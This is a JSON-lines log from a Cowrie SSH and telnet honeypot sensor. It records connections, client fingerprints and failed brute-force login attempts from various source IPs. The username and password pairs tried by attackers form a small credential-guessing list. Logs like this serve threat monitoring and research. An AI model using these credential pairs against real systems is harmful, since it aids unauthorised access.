{"eventid":"cowrie.login.failed","username":"root","password":"sasha1980","message":"login attempt [root/sasha1980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:45.481281Z","src_ip":"103.27.238.116","session":"da438eb0de6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":51728,"dst_ip":"10.17.0.5","dst_port":22,"session":"3899159b98bd","protocol":"ssh","message":"New connection: 172.190.216.105:51728 (10.17.0.5:22) [session: 3899159b98bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:45.868338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:46.351153Z","src_ip":"172.190.216.105","session":"3899159b98bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:46.746552Z","src_ip":"103.27.238.116","session":"da438eb0de6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:46.934347Z","src_ip":"172.190.216.105","session":"3899159b98bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.15785002708435,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:54.374799Z","src_ip":"170.64.224.25","session":"cbf24f950200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":60626,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd803ea76097","protocol":"ssh","message":"New connection: 223.17.1.118:60626 (159.203.135.109:22) [session: fd803ea76097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:55.557842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:55.561765Z","src_ip":"223.17.1.118","session":"fd803ea76097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:55.773553Z","src_ip":"223.17.1.118","session":"fd803ea76097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rm123456","message":"login attempt [root/rm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:56.654270Z","src_ip":"223.17.1.118","session":"fd803ea76097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"realroot","message":"login attempt [root/realroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:57.037487Z","src_ip":"172.190.216.105","session":"3899159b98bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:57.868518Z","src_ip":"223.17.1.118","session":"fd803ea76097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:47:58.545314Z","src_ip":"172.190.216.105","session":"3899159b98bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":50304,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e96744dbb51","protocol":"ssh","message":"New connection: 198.1.75.59:50304 (10.17.0.5:22) [session: 7e96744dbb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:00.359638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:00.366832Z","src_ip":"198.1.75.59","session":"7e96744dbb51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:00.453059Z","src_ip":"198.1.75.59","session":"7e96744dbb51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atomic123","message":"login attempt [root/atomic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:00.702030Z","src_ip":"198.1.75.59","session":"7e96744dbb51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:01.786718Z","src_ip":"198.1.75.59","session":"7e96744dbb51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":46186,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d46ab84028d","protocol":"ssh","message":"New connection: 161.248.201.12:46186 (159.203.135.109:22) [session: 1d46ab84028d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:02.398392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:02.403013Z","src_ip":"161.248.201.12","session":"1d46ab84028d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:02.657062Z","src_ip":"161.248.201.12","session":"1d46ab84028d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":39640,"dst_ip":"10.17.0.5","dst_port":22,"session":"850aed7b89c4","protocol":"ssh","message":"New connection: 103.27.238.120:39640 (10.17.0.5:22) [session: 850aed7b89c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:03.019584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:03.025673Z","src_ip":"103.27.238.120","session":"850aed7b89c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:03.307584Z","src_ip":"103.27.238.120","session":"850aed7b89c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Boxx123","message":"login attempt [admin/Boxx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:03.711165Z","src_ip":"161.248.201.12","session":"1d46ab84028d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d8578edf8458ce06fbc5bb76a58c5ca4","message":"login attempt [root/d8578edf8458ce06fbc5bb76a58c5ca4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:04.148060Z","src_ip":"103.27.238.120","session":"850aed7b89c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:04.967810Z","src_ip":"161.248.201.12","session":"1d46ab84028d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:05.427964Z","src_ip":"103.27.238.120","session":"850aed7b89c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":63159,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ddadf0f7bb8","protocol":"ssh","message":"New connection: 223.197.186.7:63159 (10.17.0.5:22) [session: 9ddadf0f7bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:07.950074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:07.955617Z","src_ip":"223.197.186.7","session":"9ddadf0f7bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:08.827156Z","src_ip":"223.197.186.7","session":"9ddadf0f7bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@qwer","message":"login attempt [root/123456@qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:11.373667Z","src_ip":"223.197.186.7","session":"9ddadf0f7bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:12.590276Z","src_ip":"223.197.186.7","session":"9ddadf0f7bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.80163598060608,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:15.275551Z","src_ip":"170.64.224.25","session":"f4dc30b47e7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":42678,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cbb15037e43","protocol":"ssh","message":"New connection: 91.92.40.4:42678 (10.17.0.5:22) [session: 6cbb15037e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:37.796922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:37.814025Z","src_ip":"91.92.40.4","session":"6cbb15037e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:38.051852Z","src_ip":"91.92.40.4","session":"6cbb15037e43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"test321","message":"login attempt [postgres/test321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:38.427927Z","src_ip":"91.92.40.4","session":"6cbb15037e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:39.511449Z","src_ip":"91.92.40.4","session":"6cbb15037e43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33990,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc8ec4ef75ac","protocol":"telnet","message":"New connection: 170.64.224.25:33990 (159.203.135.109:23) [session: fc8ec4ef75ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:43.552789Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":47534,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd136f3f1f85","protocol":"ssh","message":"New connection: 217.160.226.51:47534 (159.203.135.109:22) [session: fd136f3f1f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:46.067196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:46.071118Z","src_ip":"217.160.226.51","session":"fd136f3f1f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:46.178692Z","src_ip":"217.160.226.51","session":"fd136f3f1f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxxxxx","message":"login attempt [root/xxxxxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:46.649968Z","src_ip":"217.160.226.51","session":"fd136f3f1f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:47.766094Z","src_ip":"217.160.226.51","session":"fd136f3f1f85","protocol":"ssh"}
